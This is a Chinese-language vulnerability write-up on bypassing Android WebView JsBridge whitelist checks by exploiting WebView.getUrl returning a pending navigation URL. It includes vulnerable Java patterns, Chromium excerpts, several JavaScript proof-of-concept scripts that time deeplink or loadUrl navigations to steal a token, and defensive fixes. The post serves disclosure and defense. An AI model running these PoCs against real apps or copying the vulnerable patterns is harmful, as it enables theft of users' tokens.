JavaScriptInterface Once More

前言

近两年端侧发现的漏洞很大一部分都出在WebView白名单上,经过多年的攻防对抗,大多数知名应用都已经总结出了一套比较稳定的安全的白名单校验方法。但是由于开发人员对 WebView 的本质理解不到位,即使是目前最为通用的安全校验方法也会存在问题,导致绕过。

笔者于 2020 年初的时候发现了这一问题,并在多个业界知名产品上复现成功。现已联合华为浏览器推出解决方案,可以从根本上解决此类问题。

笔者的研究也入选了 2021 年的 BH ASIAHITB ASM

背景介绍

关于白名单校验的问题,rebeyond 的文章《一文彻底搞懂安卓WebView白名单校验》已经做了全面的阐述,目前的检测方案也和文中推荐的类似,这里做简要说明。

现在比较完善的一个 JsBridge 白名单校验方案是

在 JsBridge 被调用时,通过 WebView.getUrl 实时的获取当前 WebView 的 URL,并以此做白名单校验。

这套方案本身比较完善,可以防御很多此类的攻击。但是由于开发人员对 WebView 的本质理解不到位,即使是这套方案,在实际使用时也存在被绕过的风险

漏洞描述

根据上文的描述,我们可以知道目前的白名单校验机制完全依赖WebView.getUrl,开发者通常会完全信任这个函数返回的结果,而依据此做白名单判断。

但是事实上 WebView.getUrl 返回的值并不总是当前正在执行的 URL

举例来说下面的 Java 代码实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class JsObject {
@JavascriptInterface
public void loadUrl(String url){
try {
this.webview.loadUrl(url)
} catch (Exception e) {
e.printStackTrace();
}
}

@JavascriptInterface
public void getToken(){
if(isPermission()) // 使用实时 WebView.getUrl 做校验
return token;
}
}

webview.addJavascriptInterface("myObj", new JsObject());

bool isPermission(){
Url url = webview.getUrl();
return inWhiteList(url);
}

WebView提供敏感函数 geToken,并使用实时 WebView.getUrl 的方式做白名单校验。但是同时它还提供一个函数 loadUrl 的 JsBridge 接口给页面调用。在这种情况下攻击者就可以欺骗应用让 getUrl 返回错误的地址,从而绕过白名单校验。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>
function browser_navigation(){
myObj.loadUrl("https://www.huawei.com")
}

function getToken(){
myObj.getToken();
}

function bypass(){
setTimeout(getToken,400);
browser_navigation();
}
</script>

漏洞分析

查看 WebView 中 getUrl 的定义,注释中明确指出该函数获取的只是 visible URL。有可能不是当前正在运行的 url,有可能是一个正在加载的 url。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/**
* Get the URL of the current page. This is the visible URL of the {@link WebContents} which may
* be a pending navigation or the last committed URL. For the last committed URL use
* #getLastCommittedUrl().
*
* @return The URL of the current page or null if it's empty.
*/
public GURL getUrl() {
if (isDestroyed(WARN))
return null;
GURL url = mWebContents.getVisibleUrl();
if (url == null || url.getSpec().trim().isEmpty())
return null;
return url;
}

继续查看关键代码,逻辑走到 chromium 的关键函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
NavigationEntryImpl* NavigationControllerImpl::GetVisibleEntry() {
// The pending entry is safe to return for new (non-history), browser-
// initiated navigations. Most renderer-initiated navigations should not
// show the pending entry, to prevent URL spoof attacks.
//
// We make an exception for renderer-initiated navigations in new tabs, as
// long as no other page has tried to access the initial empty document in
// the new tab. If another page modifies this blank page, a URL spoof is
// possible, so we must stop showing the pending entry.
bool safe_to_show_pending = pending_entry_ && // Require a new navigation.
pending_entry_index_ == -1 && // Require either browser-initiated or an unmodified new tab.
(!pending_entry_->is_renderer_initiated() || IsUnmodifiedBlankTab());

//Also allow showing the pending entry for history navigations in a new tab,
// such as Ctrl+Back. In this case, no existing page is visible and no one
// can script the new tab before it commits.
if (!safe_to_show_pending && pending_entry_ && pending_entry_index_ != -1 && IsInitialNavigation() && !pending_entry_->is_renderer_initiated())
safe_to_show_pending = true;

if (safe_to_show_pending)
return pending_entry_;
return GetLastCommittedEntry();
}

函数判断,如果经过判断当前的执行上下文可信,就返回 pending_entry_ 这个字段 ,否则就返回 GetLastCommittedEntry 字段。chromium 认为对于 browser-initiated-navigation 来说执行上下文是可信的,可以直接返回 pending_entry_,而对大部分的 render-initiated-navigation 来说执行上下文是不可信的,pending_entry_ 有可能是错误的。在这种不安全的情况下,应该返回 LastCommittedEntry。

对于桌面浏览器而言,这个判断大体是成立的。但是对于 Webview 来说,这种判断条件却常常可以被打破,从而会在并不安全的情况下返回 pending_entry

这里的几个概念,笔者先做一下简要说明。

browser-initiated-navigation 和 render-initiated-navigation

浏览器中存在两种 navigation 的方式,browser-initiated 和 render-initiated,Chrome 根据触发 navigation 的进程类型为他们命名。通俗来说 browser-initiated 就是 UI 触发的跳转,而 render-initiated 就是页面触发的跳转。从设计上来说 browser-navigation 更可信一些,通常是来自用户交互行为,而 render-initiated 则有可能来自攻击者。

  • Browser-initiate-navigation 有可能的触发方式有 Omnibox, bookmarks, context menus
  • Render-initiate-navigation 有可能的触发方式有 Links,forms, scripts.

browser-initiated-navigation 的流程大体为

  1. browser 向当前 render 发送 RequestNavigation,转交 render 模块处理(Browser -> render)
  2. render 检查是否是向自己的跳转,如果是则转为走 refresh 流程
  3. render 处理 beforeunload 事件
  4. render 发送 BeginNavigation 消息给 RenderFrameHost(render -> browser)
  5. Browser 创建 pending_navigation
  6. beginNavigation 创建 ResourceLoader 请求网络( browser -> network)
  7. 检查 CSP
  8. RenderFrameHost 检查 pending_navigation 是否和网络请求匹配
  9. RFHM 选择一个合适的 RFH 来渲染内容
  10. RFH 发送 CommitNavigation 给 RenderFrame (Browser -> render)
  11. Blink 发送 requst 并渲染之

render-initiated-navigation 的流程稍稍简单一些可以省略 1-4 步。

可以看到二者在执行流程上大体相同,唯一的区别在于 navitgation request 是从 render 而不是 browser 发出的。

last_commited_entry,pending_entry,visible_URL

navigation 过程中中有几个重要的概念: last_commited_entrypending_entryvisible_URL

  • last_commited_entry 用来表示当前 frame 的 URL。这个值在 Commit 之后设置
  • pending_entry 用来表示一个 navigation 已经开始,但是还没有 commit。这个值通常在 navigation 一开始就设置。browser-initiated-navigation 流程会在 NavigateWithoutEntry 函数中创建并设置;render-initiated-navigation 流程会在 GetNavigationEntryForRendererInitiatedNavigation 函数中设置(但是通常不会)。

  • visible_URL 是地址栏展示的 URL。

这几个值的设置时机如图所示

pending_entry 的设置时机非常早,甚至要早于 WebView 的回调函数 ShouldOverrideUrlLoadingOnPageStarted。 而 last_commited_entry 的设置时机就非常晚,发生在 Render 模块渲染页面时。而延时攻击发生的时间窗就在 Old Render 模块调用 Unload 之前。从图中我们可以看出来,如果 getUrl 返回的是 pending_entry ,那么我们将会有充分的时间窗来进行延时攻击。

所以我们来分别看一下 Browser-initiated 和 Render-initiated 两种方案在设置 pending_entry 时的判断。

browser-initiated 流程中,只要 navigation 的目的 scheme 不是 javascript, 就会创建一个对应的 entry ,并且设置为 pending_entry

1
2
3
4
5
6
7
8
9
10
11
12
13
void NavigationControllerImpl::NavigateWithoutEntry(
const LoadURLParams& params) {

// ...
std::unique_ptr<NavigationEntryImpl> entry;
if (!params.url.SchemeIs(url::kJavaScriptScheme)) {
entry = CreateNavigationEntryFromLoadParams(
node, params, override_user_agent, should_replace_current_entry,
has_user_gesture);
DiscardPendingEntry(false);
SetPendingEntry(std::move(entry));
}
// ...

render-initiated 流程中,只有当前的 pending_entry 为空,或者当前的 pending_entry 不是通过 browser-initiated 流程创建时才会继续。简而言之就是只有空页面,或者通过 windows.open 打开的新页面才会继续后面的流程,设置 pending_entry。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
NavigationEntryImpl*
Navigator::GetNavigationEntryForRendererInitiatedNavigation(
const mojom::CommonNavigationParams& common_params,
FrameTreeNode* frame_tree_node) {

// ...

NavigationEntryImpl* pending_entry = controller_->GetPendingEntry();
bool has_browser_initiated_pending_entry =
pending_entry && !pending_entry->is_renderer_initiated();
if (has_browser_initiated_pending_entry)
return nullptr;

// ...

std::unique_ptr<NavigationEntryImpl> entry =
NavigationEntryImpl::FromNavigationEntry();

controller_->SetPendingEntry(std::move(entry));
if (delegate_)
delegate_->NotifyChangedNavigationState(content::INVALIDATE_TYPE_URL);

return controller_->GetPendingEntry();
}

可以看出,Chromium 对于 render-initiated 还是做了很多的限制,但是对于 browser-initiated 就宽松许多。

“从设计上来说 browser-navigation 更可信一些,通常是来自用户交互行为,而 render-initiated 则有可能来自攻击者。” —— 这句话在 PC 端浏览器是没有太多问题的,但是在移动端的情况则会有些不同。

对于 WebView 来说,WebView.loadUrl 是一个 browser-initiated 行为。开发者不应该将这个行为暴露给 js,使得 js 触发的 navigation 变成 browser-initiated。

而大量移动端应用的开发者并不了解浏览器内部的各种机制,再加上编码过程中大量的 copy,导致这种问题频繁出现,在 StackOverflow 等网站上我们经常可以看到一些典型的错误代码示例被作为解决方案提供给开发者。

1
2
3
4
5
6
7
8
9
10
public boolean shouldOverrideUrlLoading(WebView view, String urls) {
if (urls.startsWith("newtab:")) {
addTab(); //add a new tab or window
loadNewURL(urls.substring(7)); //strip "newtab:" and load url in the webview of the newly created tab or window
}
else {
view.loadUrl(urls); //load url in current WebView
}
return true;
}

此外 android 应用还可以通过 scheme 拉起或者干脆将 loadUrl 接口暴露给 js 等方式,触发 WebView.loadUrl。而这些行为均是可以从 js 也即 render 端发起的。这些不合理的代码逻辑直接打破了 WebView.getUrl 的信任边界,使得原本可信的 browser-initiated navigation 也不再可信 !

漏洞模式

由于该漏洞本质上是由于两种 navigation 混淆导致的,笔者给这种漏洞命名为 navigation confused vulnerability。
经过简单分析和实际的攻击笔者发现了三种可能触发这个漏洞的模式

Direct navigation confused vulnerability

第一种情况如之前的例子所写,应用的开发者直接将 WebWiew.loadUrl 暴露给不可信的 js 代码,攻击者就可以通过 js 直接触发 browser-initiate-navigation,修改 WebView 中的 pending_entry_ ,使 WebWiew.getUrl 返回错误的值,绕过白名单校验

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class JsObject {
@JavascriptInterface
public void loadUrl(String url){
try {
this.webview.loadUrl(url) // js 可以触发的 browser-initiate-navigation
} catch (Exception e) {
e.printStackTrace();
}
}

@JavascriptInterface
public void getToken(){
if(isPermission()) // 使用实时 WebView.getUrl 做校验
return token;
}
}

webview.addJavascriptInterface("myObj", new JsObject());

bool isPermission(){
Url url = webview.getUrl();
return inWhiteList(url);
}

这种情况出现的较少,只在极个别的应用内发现,但是却非常典型。

ReDirect navigation confused vulnerability

第二种情况,在 WebView 的 shouldOverrideUrlLoading、 onJsPrmote 等生命周期回调函数中,以直接或者间接的形式提供 WebWiew.loadUrl 的调用路径。 攻击者就可以通过 js 触发生命周期回调的方式触发 browser-initiate-navigation,修改 WebView 中的 pending_entry_ ,使 WebWiew.getUrl 返回错误的值,绕过白名单校验。

比较典型的问题有两种,一种是把 url 作为某种协议来传输复杂数据,当 url 符合某个逻辑规范时就会从 url 中获取数据作为新的跳转地址

1
2
3
4
5
6
7
8
9
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUrl();
if ("protocol".equal(url.getScheme())){ // url matchs a specific pattern
String fallback = url.getParam("fallback_url"); // extract another url
if (isInWhiteList(fallback)){
view.loadUrl(fallback);
}
}
}

另一种是当 url 不符合要求时会强制跳转到一个固定地址,而这个固定地址通常会是一个白名单内地址

1
2
3
4
5
6
7
String pattern = "https://recharge.com/";
String mainland = "https://google.com"; // it usually a url in white list
public boolean shouldOverrideUrlLoading(WebView view, String url) {
if (!Pattern.matches(pattern,url)){ // url do not match pattern
view.loadUrl(mainland);
}
}

两种漏洞的 poc 比较类似,都是通过一个 render-inititiated-navigation 结合延时攻击

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script>
// will call WebView.loadUrl internal
function browser_navigation(){
//fallback_url is in WhiteList
location.href = "protocol://app.pattern/?fallback_url=http%3A//www.google.com";
}

function getToken(){
window.JSBridge.getToken();
}

function bypass(){
setTimeout(getToken,400); // time delay attack
browser_navigation();
}
</script>

这种情况也是业务中最常出现的问题,业务代码可能出于各种各样的考虑就在某个角落里添加了这样一条逻辑,也就有可能出现问题。

Shared Navigation Confused Attack

WebView 常用的加载页面方式只有 WebWiew.loadUrl 一种,因此通常情况下业务都是使用这个方式加载页面。 如果加载页面的 WebView 存在复用的场景,也会触发这个问题。

举例来说,业务通过 scheme 暴露了一个外部页面加载能力,外部通过链接 huaweilalala://toWebVIew/?url=http:xxxxxxxxx 就可以拉起组件 WebviewLoadActivity,并渲染页面 http:xxxxxxxxx

1
2
3
4
5
6
7
<activity android:name=".WebviewLoadActivity" android:launchMode="singleTask" >
<intent-filter>
<category android:name="android.intent.category.DEFAULT"/>
<action android:name="android.intent.action.VIEW"/>
<data android:scheme="huaweilalala"/>
</intent-filter>
</activity>

由于 WebviewLoadActivity 类的启动模式设置为了 singleTask ,因此已有的 WebView 组件会被复用,从而会在当前正在执行的 WebView 对象上执行 loadUrl, 触发 browser-initiate-navigation,修改 WebView 中的 pending_entry_ ,使 WebWiew.getUrl 返回错误的值,绕过白名单校验。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script>
// will call WebView.loadUrl internal
function browser_navigation(){
location.href = "hualalala://openPage?url=www.google.com"; // load a url in white list
}

function getToken(){
window.JSBridge.getToken();
}

function bypass(){
setTimeout(getToken,400); // time delay attack
browser_navigation();
}
</script>

有的业务可能本身不支持 deeplink 调用,那么我们的 poc 就需要改一些,还需要一个第三方浏览器的协助。

下面的 poc 通过第三方浏览器加载(夸克浏览器)可以实现攻击。注册事件 visibilitychange,这个事件会在页面出现或者隐藏时触发。当浏览器通过 deeplink 拉起目标应用时页面会被隐藏,从而触发 visibilitychange 事件,通过这个和机制我们就可以连续的触发两次 deeplink,强制应用在同一个 webview 对象中加载两个不同的 URL,从而也达到了延时攻击的效果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<script>
// The event is fired at the document when the content of its tab have become visible or have been hidden.
document.addEventListener('visibilitychange',function() {
if(document.visibilityState == 'hidden') {
setTimeout(bypass, 3000);
}
})
// will launch target WebView and fire visibilitychange
(function attack(){
var img = document.createElement('iframe');
img.src= "hualalala://openPage/?=https://www.attacker.site"; // load a page to call JavascriptInterface directly
document.body.appendChild(img);
})()

function bypass(){
var img = document.createElement('iframe');
img.src= "hualalala://openPage/?url=https%3A//www.google.com"; // load a white list url to bypass verification
document.body.appendChild(img);
}
<script>

除了以上两种,有时候业务会出于自身的性能考虑,采用单例模式创建 webview 对象,这样也会导致漏洞的产生。

这种情况隐藏的很深,因此也比较难发现,需要仔细排查。

漏洞防御

这个漏洞本质上还是开发者对组件理解不够深刻导致的,在 android 的开发文档中明确的指出了

1
Because the object is exposed to all the frames, any frame could obtain the object name and call methods on it. There is no way to tell the calling frame's origin from the app side, so the app must not assume that the caller is trustworthy unless the app can guarantee that no third party content is ever loaded into the WebView even inside an iframe.

因此最好的方法就是按照文档说明,不要在不受信任的页面上提供 JavascriptInterface。

对于那些已经发布的业务我们也提供了两套解决方法。

其一:走读代码,排查上文中描述的三种漏洞模式,并针对性修改。确保 loadUrl 方法不会被 js 访问。

其二:从底层着手,为 JsBridge 提供可信的 url 获取方法。HwWebView 已经实现了相关方案。该方案在 JsBridge 中实现了额外的接口调用 securityExtSetFrameUrl,网页JS通过name调用java object的任何方法前,都会通过securityExtSetFrameUrl 这个,将url通知上去。由于该操作是由 Webview 底层直接发起的,因此可以信任之。

使用方法:

  1. 在要添加的 Java 对象上实现接口 securityExtSetFrameUrl

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    class JsObject {
    private String currentUrl;

    @JavascriptInterface
    public void securityExtSetFrameUrl (string url){
    currentUrl = url;
    }

    …..
    @JavascriptInterface
    Public string getToken(){
    CheckPermission(currentUrl);
    //…..
    }
    }
  2. 在二层白名单校验处使用 securityExtSetFrameUrl 设置的 Url 来做校验

    1
    2
    3
    4
    Public string CheckPermission (string url){
    isInWhiteList(currentUrl);
    // ….
    }

思考

这个问题有三点很值得我们思考。

其一:一些我们常用的来自底层的方法是否完全可信,在使用这些方法或者组件之前有没有仔细的阅读官方提供的文档。这个漏洞和之前的“应用克隆攻击”其实都是开发者对文档阅读不细致,理解不到位导致的。

其二: 由于 WebView 的这个特点,端侧其实很容易遭受 spoofing 攻击,因为对于使用 WebView 的应用来说他们无法保证获得的 URL 是准确的,这样一来也就违反了 chromium 中相关代码的设计初衷。一些端侧看起来很容易满足的条件,再其他平台上可能就不是这样。

其三:这个问题其实同样可能出现在其他基于 chromium 的框架中,比如 PC 端的 electron 和 libcef。更有甚者在 IOS 系统上也有可能出现同类问题

最后感谢朱小龙在过程中给与的支持。